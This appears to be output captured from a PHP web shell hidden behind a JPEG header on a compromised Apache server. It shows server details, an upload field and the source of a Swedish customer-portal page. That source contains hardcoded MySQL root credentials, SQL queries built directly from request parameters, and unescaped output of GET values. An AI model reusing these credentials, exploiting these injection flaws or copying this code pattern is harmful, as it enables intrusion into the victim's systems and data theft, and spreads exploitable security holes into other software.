????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/customerzon/ |
Upload File : |
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$showAll = "true";
$ProjectId = $_GET['projectId'];
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
if($UserGroupId == 2 || $UserGroupId == 7 || $UserGroupId == 8 || $UserGroupId == 5 || $UserGroupId == 10 ){
$sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId";
}else{
$sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and ProjectId = $ProjectId and CompanyId = $CompanyId";
}
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$CompanyId = $row['CompanyId'];
$ProjectName = $row['Name'];
$Description = $row['Description'];
$RequestedDeliveryDate = $row['RequestedDeliveryDate'];
$ProjectStatusId = $row['ProjectStatusId'];
$InvoiceText = $row['invoiceText'];
}
$UserGroupId = $_SESSION['ASTACUS_SSO_INFO'][3];
if($ProjectName == "" && $ProjectStatusId == "" && ($UserGroupId != 2 && $UserGroupId != 5 && $UserGroupId != 8 && $UserGroupId != 10 )){
$CompanyId = "";
$ProjectId = "";
echo("<center><h1>Kunde inte hitta detta ProjektID till ditt konto!</h1></center>");
exit;
}
if($ProjectStatusId == 12){
$color = "#FF0000";
$status = $a30;
}else if($ProjectStatusId == 1) {
$color = "#ffc600";
$status = $a33;
}else if($ProjectStatusId == 8) {
$color = "#00FF00";
$status = $a31;
}else if($ProjectStatusId == 4) {
$color = "#EEEEEE";
$status = $a35;
}else if($ProjectStatusId == 9 || $ProjectStatusId == 10) {
$color = "#0099FF";
$status = $a36;
}else if($ProjectStatusId == 14) {
$color = "#9966FF";
$status = $a32;
}else{
$status = $a100;
$color = "#ffffff";
}
?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<script type="text/javascript" src="calendar.js"></script>
<table width="850" height="64" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td valign="top" background="../images/tabb1.jpg"><table width="850" height="23" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="5" height="23"> </td>
<td width="111" valign="bottom" class="blacklink"><div align="center"><a href="?page=project&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a60);?></a></div></td>
<td width="22" valign="bottom" class="blacklink"><div align="center"></div></td>
<td width="106" valign="bottom" class="blacklink"><div align="center"><a href="?page=upload&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a50);?> </a></div></td>
<td width="18" valign="bottom" class="blacklink"><div align="center"></div></td>
<td width="107" valign="bottom" class="blacklink"><div align="center"><a href="?page=download&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a49);?> </a></div></td>
<td width="22" class="blacklink"> </td>
<td width="103" valign="bottom" class="blacklink"><div align="center"><a href="?page=logg&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a61);?></a></div></td>
<td width="21" class="blacklink"> </td>
<td width="104" valign="bottom" class="blacklink"><div align="center"><a href="?page=settings&projectId=<?php echo($ProjectId);?>" class="blacklink"><?php echo($a62);?></a></div></td>
<td width="138" class="blacklink"> </td>
<td width="23" class="blacklink"> </td>
<td width="70" class="blacklink"> </td>
</tr>
</table></td>
</tr>
</table>
<table width="1000" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="90"> </td>
<td width="820"><table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="5" valign="top"> <table width="821" border="0" cellpadding="0" cellspacing="0">
<tr >
<td colspan="4" valign="top" class="text"><span class="heading1"><?php echo($a60);?></span>
<table width="397" border="0" cellpadding="0" cellspacing="0">
<tr valign="top">
<td width="398"><span class="heading2"><?php echo($a63);?> <?php echo($CompanyId);?>_<?php echo($ProjectName);?> (<?php echo($ProjectId);?>)</span><span class="text"><br>
</span>
<table width="450" height="30" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="36" valign="middle"><table width="18" height="18" border="1" cellpadding="0" cellspacing="0" bordercolor="#000000" class="textthin">
<tr>
<td bgcolor="<?php echo($color);?>"> </td>
</tr>
</table></td>
<td width="362" valign="middle"><span class="heading2"><?php echo($status);?></span></td>
</tr>
</table>
<span class="text"> <br>
</span></td>
<td width="57"><div align="right"><span class="textthin"><br>
</span> </div></td>
</tr>
</table></td><td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="/customerzon/<?php if($_GET['CustomerID'] != ""){echo("?CustomerID=".$_GET['CustomerID']);}?>"><img src="../images/Back-Arrow.jpg" width="37" height="36" border="0" align="absmiddle"></a> <a href="/customerzon/<?php if($_GET['CustomerID'] != ""){echo("?CustomerID=".$_GET['CustomerID']);}?>" class="blacklinkhuge"><?php echo($a12);?> </a></span></div></td>
</tr>
</table>
<hr width="820" size="1">
<span class="heading2"><br>
</span>
<table width="820" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="455" valign="top">
<?php
$sql = "SELECT * FROM ICADPROJECTParametersData Where ProjectId = $ProjectId";
$result = mysql_query($sql);
$ProjectParamsData = 0;
while ($row = mysql_fetch_assoc($result)){
$ProjectParamsData = 1;
}
$sql = "SELECT * FROM ICADPROJECTParameters Where CompanyId = $CompanyId";
$result = mysql_query($sql);
$ProjectParams = 0;
while ($row = mysql_fetch_assoc($result)){
$ProjectParams = 1;
if($ProjectParamsData == 0){
$ParameterId = $row['ParameterId'];
mysql_query("INSERT INTO ICADPROJECTParametersData VALUES(NULL,$ParameterId,'',$ProjectId);");
}
}
if($ProjectParams == 1){?>
<hr />
<span class="heading2">Projektparametrar</span>
<?php
$sql = "SELECT * FROM ICADPROJECTParametersData,ICADPROJECTParameters Where ICADPROJECTParameters.ParameterId = ICADPROJECTParametersData.ParameterId and ProjectId = $ProjectId";
$result = mysql_query($sql);
$ProjectParams = 0;
while ($row = mysql_fetch_assoc($result)){
$ParameterId = $row['ParameterId'];
$Value = $row['Value'];
$ParameterName = $row['ParameterName'];
?>
<form action="addProjectParams.php?CustomerID=<?php echo($CompanyId);?>&projectId=<?php echo($ProjectId);?>" method="post">
<table width="435" border="0" cellspacing="0" cellpadding="0">
<tr class="style6">
<td width="167"><?php echo($ParameterName);?></td>
<td width="268">
<input type="text" name="Value" id="Value" value="<?php echo($Value); ?>" />
<input type="submit" name="button" id="button" value="Spara" />
<input name="ParameterId" type="hidden" id="hiddenField" value="<?php echo($ParameterId); ?>"/>
</td>
</tr>
</table>
</form>
<?php } ?>
<br />
<hr />
<?php } ?>
<?php if( $ProjectStatusId == 1){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=start"><img src="../images/start.jpg" width="150" height="150" border="0"></a></td>
<td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a64);?></span><br>
</div></td>
</tr>
</table><?php }else if( $ProjectStatusId == 8){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=accept"><img src="../images/accept.jpg" width="150" height="150" border="0"></a></td>
<td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a65);?></span><br>
</div></td>
</tr>
</table>
<?php }else if( $ProjectStatusId == 13 || $ProjectStatusId == 9){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div align="center"><span class="heading1"> </span>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=store"><img src="../images/archive.jpg" width="150" height="149" border="0"></a></td>
<td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a66);?>
</span><br>
</div></td>
</tr>
</table>
</div></td>
</tr>
</table>
<?php }else if( $ProjectStatusId == 10){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><div align="center"><span class="heading1"> </span>
<span class="heading1"><br>
<?php echo($a72);?><br>
<br>
</span></div></td>
</tr>
</table>
<?php }else if( $ProjectStatusId == 4){?>
<p align="center" class="heading1"><?php echo($a68);?><br>
<br>
<?php }else{?>
</p>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=stop"><img src="../images/halt.jpg" width="150" height="150" border="0"></a></td>
<td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a69);?></span><br>
</div></td>
</tr>
</table>
<?php if( $ProjectStatusId == 14){?>
<table width="430" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="169"><a href="action.php?projectId=<?php echo($ProjectId);?>&action=delaccept"><img src="../images/accept.jpg" width="150" height="150" border="0"></a></td>
<td width="261" valign="middle"><div align="center"><span class="heading2"><?php echo($a70);?></span><br>
</div></td>
</tr>
</table>
<?php }}?> <p><?php
if($_SESSION['ASTACUS_SSO_INFO'][3] == 2 || $_SESSION['ASTACUS_SSO_INFO'][3] == 7 || $_SESSION['ASTACUS_SSO_INFO'][3] == 8 || $_SESSION['ASTACUS_SSO_INFO'][3] == 10){
?></p>
<form id="form1" name="form1" method="post" action="invoicetext.php?projectId=<?php echo($ProjectId);?>">
<span class="style6">Invoice text:</span><br />
<textarea name="text" id="textarea" cols="55" rows="5"><?php echo($InvoiceText);?></textarea>
<br />
<input type="submit" name="button2" id="button2" value="Uppdatera" />
</form>
<p>
<?php } ?>
</p>
<hr size="1">
<span class="heading2"><br>
</span><span class="heading2"><br>
</span><span class="heading2">
</span>
<p><span class="heading2"> <br>
</span><span class="heading2"> </span> </p></td>
<td width="17"> </td>
<td width="348" valign="top"><script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<br>
<table width="342" height="121" border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="342" > </td>
</tr>
</table>
<br></td></tr>
</table>
<span class="style6"><br>
</span>
<hr width="820" size="1">
<span class="style6"> </span></td>
</tr>
</table>
</td>
<td width="90"> </td>
</tr>
<tr>
<td colspan="3"> </td>
</tr>
</table>